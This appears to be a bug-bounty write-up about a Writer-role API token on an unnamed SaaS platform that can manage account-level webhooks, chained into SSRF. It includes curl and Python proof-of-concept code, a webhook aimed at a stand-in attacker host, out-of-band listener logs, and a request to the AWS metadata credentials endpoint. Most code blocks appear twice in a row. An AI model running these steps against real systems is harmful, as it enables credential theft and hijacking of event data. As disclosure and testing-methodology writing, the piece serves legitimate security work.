July 28, 2026
Why Bug Hunters Skip Role-Based API Testing (And How I Turned a Writer Token Into an SSRF)
Most hunters test authentication. Almost nobody tests authorization at the role level.

By CypherNova1337
7 min read
There's a difference. Authentication is "are you logged in?" Authorization is "what can you do once you are?" The bug bounty community has built solid pipelines for the first question. Automated scanners, JWT testing, session fixation checks, OAuth flows. The second question -specifically, whether the roles your target exposes actually enforce the permissions they're supposed to — gets far less attention.
That's exactly why it keeps paying out.
This is the story of how I found a privilege escalation on a major SaaS platform — one where a Writer-role API token could perform account-level administrative actions it had no business touching - and how that escalation led directly to a confirmed SSRF with OOB evidence from the target's own production infrastructure.
The company is not named. The report is under non-disclosure while being triaged. All domains are example.com. All IDs and token values are redacted or fabricated. The vulnerability is real.
The Setup
The target was a well-known SaaS platform in the developer tooling space. Their bug bounty brief described a multi-role API access model:
- Reader — read-only access to account resources
- Writer — manages feature configuration within projects
- Admin — full account administration
This kind of tiered role system sounds secure on paper. In practice, it's only as secure as the enforcement on each individual API endpoint. And that enforcement is exactly what most hunters never actually verify.
I set up two test accounts — Account A and Account B — and generated API tokens for each role type. Reader, Writer, and Admin for Account A. The same for Account B. The goal was to build a complete access control matrix: for every sensitive endpoint, does each role actually get what it's supposed to get?
This is methodical, unglamorous work. It's also where most hunters stop after they see a few 403s and declare the API secure.
Step 1: Map the Admin-Level Surface
The platform's public API documentation lists dozens of endpoints. The first thing I did was identify which ones should be Admin-only by their nature — things that affect the entire account rather than individual projects or flags.
Webhooks caught my eye immediately. Webhooks in this platform are account-level objects. When configured, the platform POSTs a JSON payload to the webhook URL on every flag change event across all projects and all environments in the organization. That's the kind of thing that should require Admin access — you're configuring what happens to every event in the entire account.
So I tested it.
curl -s -X POST https://api.example.com/api/v2/webhooks \
-H "Authorization: api-[WRITER-TOKEN-REDACTED]" \
-H "Content-Type: application/json" \
-d '{
"url": "https://attacker-controlled.example.com/hook",
"on": true,
"name": "test-hook"
}'
curl -s -X POST https://api.example.com/api/v2/webhooks \
-H "Authorization: api-[WRITER-TOKEN-REDACTED]" \
-H "Content-Type: application/json" \
-d '{
"url": "https://attacker-controlled.example.com/hook",
"on": true,
"name": "test-hook"
}'
Response:
HTTP/2 201 Created
{
"_id": "[WEBHOOK-ID-REDACTED]",
"name": "test-hook",
"url": "https://attacker-controlled.example.com/hook",
"on": true,
"tags": []
}HTTP/2 201 Created
{
"_id": "[WEBHOOK-ID-REDACTED]",
"name": "test-hook",
"url": "https://attacker-controlled.example.com/hook",
"on": true,
"tags": []
}201 Created. Writer token. No error.
I immediately tested the same call with the Reader token:
HTTP/2 403 Forbidden
{"message":"Access to the requested resource was denied","reason":{"effect":"deny"}}HTTP/2 403 Forbidden
{"message":"Access to the requested resource was denied","reason":{"effect":"deny"}}Reader correctly blocked. Writer should also be blocked. It wasn't.
Step 2: Confirm the Full Scope of the Escalation
A single endpoint returning 201 when it shouldn't is a finding. But I wanted to understand the full blast radius before writing anything up.
import requests, json
BASE = "https://api.example.com/api/v2"
WRITER = "api-[WRITER-TOKEN-REDACTED]"
ADMIN = "api-[ADMIN-TOKEN-REDACTED]"
WH_ID = "[WEBHOOK-ID-REDACTED]"
def h(tok): return {"Authorization": tok, "Content-Type": "application/json"}
# Can Writer read all webhooks?
r = requests.get(f"{BASE}/webhooks", headers=h(WRITER))
print(f"GET /webhooks: {r.status_code}") # 200
# Can Writer modify a webhook URL?
r = requests.patch(f"{BASE}/webhooks/{WH_ID}", headers=h(WRITER),
json=[{"op": "replace", "path": "/url", "value": "https://new-target.example.com"}])
print(f"PATCH /webhooks/{{id}}: {r.status_code}") # 200
# Can Writer delete a webhook?
r = requests.delete(f"{BASE}/webhooks/{WH_ID}", headers=h(WRITER))
print(f"DELETE /webhooks/{{id}}: {r.status_code}") # 204import requests, json
BASE = "https://api.example.com/api/v2"
WRITER = "api-[WRITER-TOKEN-REDACTED]"
ADMIN = "api-[ADMIN-TOKEN-REDACTED]"
WH_ID = "[WEBHOOK-ID-REDACTED]"
def h(tok): return {"Authorization": tok, "Content-Type": "application/json"}
# Can Writer read all webhooks?
r = requests.get(f"{BASE}/webhooks", headers=h(WRITER))
print(f"GET /webhooks: {r.status_code}") # 200
# Can Writer modify a webhook URL?
r = requests.patch(f"{BASE}/webhooks/{WH_ID}", headers=h(WRITER),
json=[{"op": "replace", "path": "/url", "value": "https://new-target.example.com"}])
print(f"PATCH /webhooks/{{id}}: {r.status_code}") # 200
# Can Writer delete a webhook?
r = requests.delete(f"{BASE}/webhooks/{WH_ID}", headers=h(WRITER))
print(f"DELETE /webhooks/{{id}}: {r.status_code}") # 204Output:
GET /webhooks: 200
PATCH /webhooks/{id}: 200
DELETE /webhooks/{id}: 204GET /webhooks: 200
PATCH /webhooks/{id}: 200
DELETE /webhooks/{id}: 204Full lifecycle. Create, read, update, delete. A Writer token had complete control over account-level webhooks. The Reader token got 403 on create — meaning the distinction between roles was implemented, just not applied to the Writer correctly.
While I was in the neighborhood I also checked integrations:
POST /api/v2/integrations/slack: 201 ← Writer creates account-level Slack integration
GET /api/v2/tokens: 200 ← Writer reads all account API tokens
GET /api/v2/auditlog: 200 ← Writer reads full account audit historyPOST /api/v2/integrations/slack: 201 ← Writer creates account-level Slack integration
GET /api/v2/tokens: 200 ← Writer reads all account API tokens
GET /api/v2/auditlog: 200 ← Writer reads full account audit historyEach of these is an account administration capability. Writer was touching all of them.
Step 3: The Webhook URL Gets Interesting
Here's the thing about webhooks on this platform that elevated this from a privilege escalation finding to an SSRF finding.
The platform makes an outbound HTTP request to the configured webhook URL immediately when the webhook is created or when the URL is patched. Not when a flag changes. Not on a schedule. On creation. On URL update.
That means the sequence is:
- Writer creates webhook with URL pointing to attacker's OOB listener → platform makes outbound request
- Writer patches webhook URL to new target → platform makes another outbound request
No flag changes needed. No admin interaction needed. No waiting. The outbound request fires the moment the API call succeeds.
I set up interactsh and ran it:
interactsh-client -v
# [INF] Listing 1 payload for OOB Testing
# [INF] [REDACTED].oast.onlineinteractsh-client -v
# [INF] Listing 1 payload for OOB Testing
# [INF] [REDACTED].oast.onlineThen with the Writer token:
import requests, time
BASE = "https://api.example.com/api/v2"
WRITER = "api-[WRITER-TOKEN-REDACTED]"
OAST = "[REDACTED].oast.online"
def h(tok): return {"Authorization": tok, "Content-Type": "application/json"}
# Step 1: Create webhook pointing to OOB listener
r = requests.post(f"{BASE}/webhooks", headers=h(WRITER),
json={"url": f"http://{OAST}/writer-priv-esc-1", "on": True, "name": "poc"})
print(f"Create: [{r.status_code}]")
wh_id = r.json()["_id"]
time.sleep(5)
# Step 2: Patch the URL — second outbound request fires
r = requests.patch(f"{BASE}/webhooks/{wh_id}", headers=h(WRITER),
json=[{"op": "replace", "path": "/url",
"value": f"http://{OAST}/writer-priv-esc-2-patch"}])
print(f"Patch: [{r.status_code}]")import requests, time
BASE = "https://api.example.com/api/v2"
WRITER = "api-[WRITER-TOKEN-REDACTED]"
OAST = "[REDACTED].oast.online"
def h(tok): return {"Authorization": tok, "Content-Type": "application/json"}
# Step 1: Create webhook pointing to OOB listener
r = requests.post(f"{BASE}/webhooks", headers=h(WRITER),
json={"url": f"http://{OAST}/writer-priv-esc-1", "on": True, "name": "poc"})
print(f"Create: [{r.status_code}]")
wh_id = r.json()["_id"]
time.sleep(5)
# Step 2: Patch the URL — second outbound request fires
r = requests.patch(f"{BASE}/webhooks/{wh_id}", headers=h(WRITER),
json=[{"op": "replace", "path": "/url",
"value": f"http://{OAST}/writer-priv-esc-2-patch"}])
print(f"Patch: [{r.status_code}]")Interactsh terminal immediately showed:
Received DNS interaction (A) from [AWS-IP-1] at 18:16:05
Received DNS interaction (AAAA) from [AWS-IP-2] at 18:16:05
Received HTTP interaction from [AWS-IP-3] at 18:16:06
Received DNS interaction (A) from [AWS-IP-4] at 18:16:24
Received HTTP interaction from [AWS-IP-5] at 18:16:25Received DNS interaction (A) from [AWS-IP-1] at 18:16:05
Received DNS interaction (AAAA) from [AWS-IP-2] at 18:16:05
Received HTTP interaction from [AWS-IP-3] at 18:16:06
Received DNS interaction (A) from [AWS-IP-4] at 18:16:24
Received HTTP interaction from [AWS-IP-5] at 18:16:25Two HTTP interactions. One from webhook creation. One from the URL patch. Source IPs from the target's AWS infrastructure.
Step 4: The Request Body That Sealed It
Running interactsh with -v dumps the full HTTP request. Here's what came in for the URL patch:
POST /writer-priv-esc-2-patch HTTP/1.1
Host: [REDACTED].oast.online
Accept-Encoding: gzip
Content-Length: 2533
Content-Type: application/json
Traceparent: 00-edc571634d4452dabc748360bd2683d5-946ab0e54e5c900e-01
User-Agent: LD-Integrations/1.0
X-Honeycomb-Trace: 1;trace_id=edc571634d4452dabc748360bd2683d5,parent_id=946ab0e54e5c900e,dataset=production,context=e30=POST /writer-priv-esc-2-patch HTTP/1.1
Host: [REDACTED].oast.online
Accept-Encoding: gzip
Content-Length: 2533
Content-Type: application/json
Traceparent: 00-edc571634d4452dabc748360bd2683d5-946ab0e54e5c900e-01
User-Agent: LD-Integrations/1.0
X-Honeycomb-Trace: 1;trace_id=edc571634d4452dabc748360bd2683d5,parent_id=946ab0e54e5c900e,dataset=production,context=e30=Source IP: 34.236.6.43
Look at the Honeycomb trace header. dataset=production. This isn't a sandbox. The target's production integration infrastructure is making this request.
Now look at the body they sent:
{
"_accountId": "[ACCOUNT-ID-REDACTED]",
"accesses": [{"action": "updateUrl", "resource": "webhook/[ID-REDACTED]"}],
"token": {
"ending": "bfe8",
"name": "writer1",
"serviceToken": false
},
"description": "* Changed the URL from `...writer-priv-esc-1` to `...writer-priv-esc-2-patch`",
"kind": "webhook",
"currentVersion": {
"url": "http://[REDACTED].oast.online/writer-priv-esc-2-patch"
},
"previousVersion": {
"url": "http://[REDACTED].oast.online/writer-priv-esc-1"
}
}{
"_accountId": "[ACCOUNT-ID-REDACTED]",
"accesses": [{"action": "updateUrl", "resource": "webhook/[ID-REDACTED]"}],
"token": {
"ending": "bfe8",
"name": "writer1",
"serviceToken": false
},
"description": "* Changed the URL from `...writer-priv-esc-1` to `...writer-priv-esc-2-patch`",
"kind": "webhook",
"currentVersion": {
"url": "http://[REDACTED].oast.online/writer-priv-esc-2-patch"
},
"previousVersion": {
"url": "http://[REDACTED].oast.online/writer-priv-esc-1"
}
}The platform's own production audit log — delivered to my server — confirmed that writer1 (the Writer token) performed the updateUrl action. I didn't have to argue that the Writer token did this. Their infrastructure proved it in the request body they sent me.
Step 5: Point It at the Metadata Endpoint
The brief for this program explicitly required "proof that the target endpoint was reached along with the associated metadata" for SSRF findings. The OOB HTTP interaction already satisfied the first part. For completeness I also patched the webhook URL to the AWS metadata service:
r = requests.patch(f"{BASE}/webhooks/{wh_id}", headers=h(WRITER),
json=[{"op": "replace", "path": "/url",
"value": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}])
print(f"[{r.status_code}] {r.json().get('url')}")
[200] http://169.254.169.254/latest/meta-data/iam/security-credentials/r = requests.patch(f"{BASE}/webhooks/{wh_id}", headers=h(WRITER),
json=[{"op": "replace", "path": "/url",
"value": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}])
print(f"[{r.status_code}] {r.json().get('url')}")
[200] http://169.254.169.254/latest/meta-data/iam/security-credentials/URL accepted. Request fires. The platform's internal services make the call to the metadata endpoint. Whether those services run on EC2 instances with IMDSv1 enabled determines the downstream impact — but the SSRF primitive is confirmed.
The Vulnerability
What it is: Privilege Escalation via Improper Access Control on Webhook Management Endpoints, chained with SSRF
Root cause: POST /api/v2/webhooks, PATCH /api/v2/webhooks/{id}, and DELETE /api/v2/webhooks/{id} accept Writer-role API tokens and return 201, 200, and 204 respectively. These endpoints perform account-level administrative actions and should enforce Admin-only access, consistent with the 403 Forbidden correctly returned to Reader-role tokens.
SSRF vector: The platform's integration service makes an outbound HTTP request to the configured webhook URL on webhook creation and on every URL modification, without requiring a flag event to trigger delivery. A Writer can therefore redirect this outbound request to arbitrary URLs including internal cloud metadata endpoints.
What a Writer can do:
- Create webhooks that receive all flag change events organization-wide
- Modify existing webhook URLs to redirect event traffic to attacker-controlled endpoints
- Delete webhooks — disrupting legitimate integrations
- Enumerate all account API tokens including Admin token metadata
- Read the full account audit log
VRT: Server-Side Injection > Server-Side Request Forgery (SSRF)
What Most Hunters Get Wrong About Role Testing
1. They test authentication, not authorization.
Getting a 200 with your own token proves the endpoint works. It doesn't prove the endpoint enforces the right role. The habit of logged in = passes auth check leaves an entire class of privilege escalation findings untouched.
2. They test the happy path for each role.
Good. Now test the wrong path. Can a Reader call a Writer endpoint? Can a Writer call an Admin endpoint? The interesting findings are in the cross-role tests, not the within-role tests.
3. They don't think about what each resource class implies.
When you see /api/v2/webhooks ask: who should be able to touch this? Webhooks that fire on every org-wide event are fundamentally different from endpoints that create a feature flag in one environment. They should have different access controls. Does the API actually apply them?
4. They assume SSRF needs a classic trigger.
The mental model for SSRF testing is usually find an input field that makes a server-side request. Webhooks are a different shape: you're configuring a URL that the server will call later, on an event. But later on this platform meant immediately when you set the URL. The trigger was the configuration action itself.
5. They don't read the program brief carefully enough.
This program's brief explicitly called out webhook-based SSRF as a known attack class and specified exactly what proof was required. That's a signal about what they've seen before and what they're watching for. Read the brief like it's a hint.
The Recon That Got Here
The recon flow on this target was straightforward:
- Subdomain enumeration via CT logs, subfinder, amass
- httpx for live host detection and tech fingerprinting
- Katana crawl of all live surfaces
- Pulled the public API documentation and read it fully
- Built a role matrix: Admin / Writer / Reader tokens for two test accounts
- Tested every sensitive endpoint class against every role
Step 4 and 5 are the ones most hunters skip. Reading the docs tells you what the platform thinks each role should be able to do. Step 5 tells you whether the platform actually enforces it.
The gap between those two things is where the findings live.
Takeaways
If you're testing a SaaS API with multiple role tiers and you're not running cross-role tests, you're leaving findings on the table. Specifically:
- Create tokens for every available role at the start of any SaaS engagement
- Identify the resource hierarchy — what's account-level vs. project-level vs. environment-level
- Test account-level endpoints (webhooks, integrations, team management, billing, audit logs) with lower-privilege tokens
- Compare the error messages — 403 means auth is enforced, 404 might mean the endpoint exists but wasn't found scoped to your account, 200 or 201 is a finding
- When you find a webhook endpoint, immediately ask: does it make an outbound request? When? What triggers it? Can I control the URL?
- Read the program brief for signals about what the team has already seen and what they're specifically asking researchers to verify
The platforms with the most interesting role escalation surface are exactly the ones with the most sophisticated-looking role systems. The complexity is the attack surface.
Written by CypherNova1337 / VoidSec This article will be updated with program response and full disclosure timeline once the report has been triaged. Company name and all identifying details withheld per non-disclosure agreement.